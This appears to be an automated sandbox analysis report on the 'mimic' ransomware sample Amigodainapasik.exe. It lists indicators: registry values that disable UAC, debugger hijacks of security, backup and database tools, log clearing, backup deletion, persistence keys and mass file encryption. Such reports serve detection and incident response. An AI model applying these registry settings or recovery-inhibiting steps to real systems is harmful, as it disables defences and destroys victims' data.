mimic | 351cfdf1916444b9a975254f900ed2b6c502c2c5cb7b7b5576eedfaa496a986c

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Amigodainapasik.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Amigodainapasik.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3396	wevtutil.exe
404	wevtutil.exe
1476	wevtutil.exe

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
564	bcdedit.exe
1688	bcdedit.exe

Renames multiple (2762) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes System State backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2516	wbadmin.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2344	wbadmin.exe

Sets file execution options in registry 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\benetns.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pvlsvr.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VeeamDeploymentSvc.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QBW32.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RaccineElevatedCfg.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ssms.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tbirdconfig.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dbsnmp.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mysqld-nt.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\java.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qbupdate.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wdswfsafe.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchApp.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QBW64.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SearchIndexer.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AutodeskDesktopApp.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AutodeskDesktopApp.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\isqlplussvc.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ocautoupds.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\encsvc.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ocomm.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wpython.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CompatTelRunner.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mysqld.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlservr.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlservr.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsnapvss.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Raccine.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlagent.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsnapvss.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wsqmcons.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pvlsvr.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QBDBMgr.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QBIDPService.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Sysmon.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\axlbridge.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\beserver.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msftesql.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ocautoupds.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logoff.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlwriter.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tbirdconfig.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vxmon.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xfssvccon.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fdhost.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fdlauncher.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsDtSrvr.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mysqld.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bedbh.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msftesql.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspub.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlwriter.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ssms.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wxServerView.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mysqld-opt.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\python.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RAgui.exe	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sqlagent.exe	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe\Debugger = "C:\\Windows\\System32\\Systray.exe"	Amigodainapasik.exe

Executes dropped EXE 6 IoCs

pid	Process
832	Amigodainapasik.exe
1388	Amigodainapasik.exe
1472	Amigodainapasik.exe
1468	Amigodainapasik.exe
3404	Everything.exe
3668	Everything.exe

Loads dropped DLL 4 IoCs

pid	Process
832	Amigodainapasik.exe
1472	Amigodainapasik.exe
1468	Amigodainapasik.exe
1388	Amigodainapasik.exe

Modifies system executable filetype association 2 TTPs 10 IoCs

persistence

Modify Registry

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\exefile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open	Amigodainapasik.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\MACHINE\Software\Classes\exefile\shell\open\command	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command	Amigodainapasik.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command\ = "\"%1\" %*"	Amigodainapasik.exe
Key created	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000_Classes\exefile\shell\open\command	Amigodainapasik.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amigodainapasik = "\"C:\\Users\\Admin\\AppData\\Local\\{D3F1A24A-4570-94FC-C72A-8CAE679319B4}\\Amigodainapasik.exe\" "	Amigodainapasik.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Amigodainapasik.exe = "notepad.exe \"C:\\Users\\Admin\\AppData\\Local\\Amigodainapasik_Decryption.txt\""	Amigodainapasik.exe

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	Amigodainapasik.exe
File opened (read-only)	\??\P:	Amigodainapasik.exe
File opened (read-only)	\??\I:	Everything.exe
File opened (read-only)	\??\J:	Everything.exe
File opened (read-only)	\??\Y:	Everything.exe
File opened (read-only)	\??\K:	Everything.exe
File opened (read-only)	\??\J:	Amigodainapasik.exe
File opened (read-only)	\??\K:	Amigodainapasik.exe
File opened (read-only)	\??\X:	Amigodainapasik.exe
File opened (read-only)	\??\U:	Everything.exe
File opened (read-only)	\??\L:	Everything.exe
File opened (read-only)	\??\M:	Everything.exe
File opened (read-only)	\??\Q:	Amigodainapasik.exe
File opened (read-only)	\??\P:	Everything.exe
File opened (read-only)	\??\A:	Everything.exe
File opened (read-only)	\??\I:	Everything.exe
File opened (read-only)	\??\R:	Everything.exe
File opened (read-only)	\??\U:	Everything.exe
File opened (read-only)	\??\Y:	Amigodainapasik.exe
File opened (read-only)	\??\N:	Everything.exe
File opened (read-only)	\??\Z:	Everything.exe
File opened (read-only)	\??\M:	Amigodainapasik.exe
File opened (read-only)	\??\N:	Amigodainapasik.exe
File opened (read-only)	\??\E:	Everything.exe
File opened (read-only)	\??\H:	Amigodainapasik.exe
File opened (read-only)	\??\L:	Amigodainapasik.exe
File opened (read-only)	\??\H:	Everything.exe
File opened (read-only)	\??\P:	Everything.exe
File opened (read-only)	\??\Q:	Everything.exe
File opened (read-only)	\??\S:	Everything.exe
File opened (read-only)	\??\V:	Everything.exe
File opened (read-only)	\??\W:	Everything.exe
File opened (read-only)	\??\L:	Everything.exe
File opened (read-only)	\??\Q:	Everything.exe
File opened (read-only)	\??\B:	Everything.exe
File opened (read-only)	\??\X:	Everything.exe
File opened (read-only)	\??\S:	Everything.exe
File opened (read-only)	\??\T:	Everything.exe
File opened (read-only)	\??\S:	Amigodainapasik.exe
File opened (read-only)	\??\W:	Amigodainapasik.exe
File opened (read-only)	\??\A:	Everything.exe
File opened (read-only)	\??\G:	Everything.exe
File opened (read-only)	\??\N:	Everything.exe
File opened (read-only)	\??\O:	Everything.exe
File opened (read-only)	\??\A:	Amigodainapasik.exe
File opened (read-only)	\??\B:	Amigodainapasik.exe
File opened (read-only)	\??\B:	Everything.exe
File opened (read-only)	\??\X:	Everything.exe
File opened (read-only)	\??\E:	Everything.exe
File opened (read-only)	\??\E:	Amigodainapasik.exe
File opened (read-only)	\??\O:	Amigodainapasik.exe
File opened (read-only)	\??\R:	Everything.exe
File opened (read-only)	\??\T:	Everything.exe
File opened (read-only)	\??\V:	Everything.exe
File opened (read-only)	\??\J:	Everything.exe
File opened (read-only)	\??\I:	Amigodainapasik.exe
File opened (read-only)	\??\U:	Amigodainapasik.exe
File opened (read-only)	\??\W:	Everything.exe
File opened (read-only)	\??\G:	Everything.exe
File opened (read-only)	\??\M:	Everything.exe
File opened (read-only)	\??\O:	Everything.exe
File opened (read-only)	\??\K:	Everything.exe
File opened (read-only)	\??\R:	Amigodainapasik.exe
File opened (read-only)	\??\Z:	Amigodainapasik.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\sat_logo.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\root\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_filterselected-focus_32.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\it-it\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\selector.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ja-jp\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\DarkTheme.acrotheme.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info2x.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\share_icons.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\cs-cz\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\de-de\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\pt-br\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\selection-actions.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AXSLE.dll.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\open_original_form.gif.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main-selector.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\cs-cz\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\back-arrow-hover.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\main-high-contrast.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\task-handler\css\main.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\css\faf-main.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress-indeterminate.gif.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\forms_poster.jpg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sk-sk\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\ro-ro\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\find-text-2x.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\eu-es\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\ko-kr\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\themes\dark\digsig_icons_2x.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\es-es\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_unshare_18.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_sortedby_hover_18.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\cloud_secured_lg.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\new_icons.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\it-it\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\pl-pl\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover_2x.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ru-ru\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\illustrations_retina.png.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\wmpnssci.dll.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\pt-br\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_zh_tw_135x40.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\css\main.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sk-sk\ui-strings.js.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_folder-hover_32.svg.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\css\main-selector.css.an8uxv2w	Amigodainapasik.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\core_icons_hiContrast_bow.png.an8uxv2w	Amigodainapasik.exe
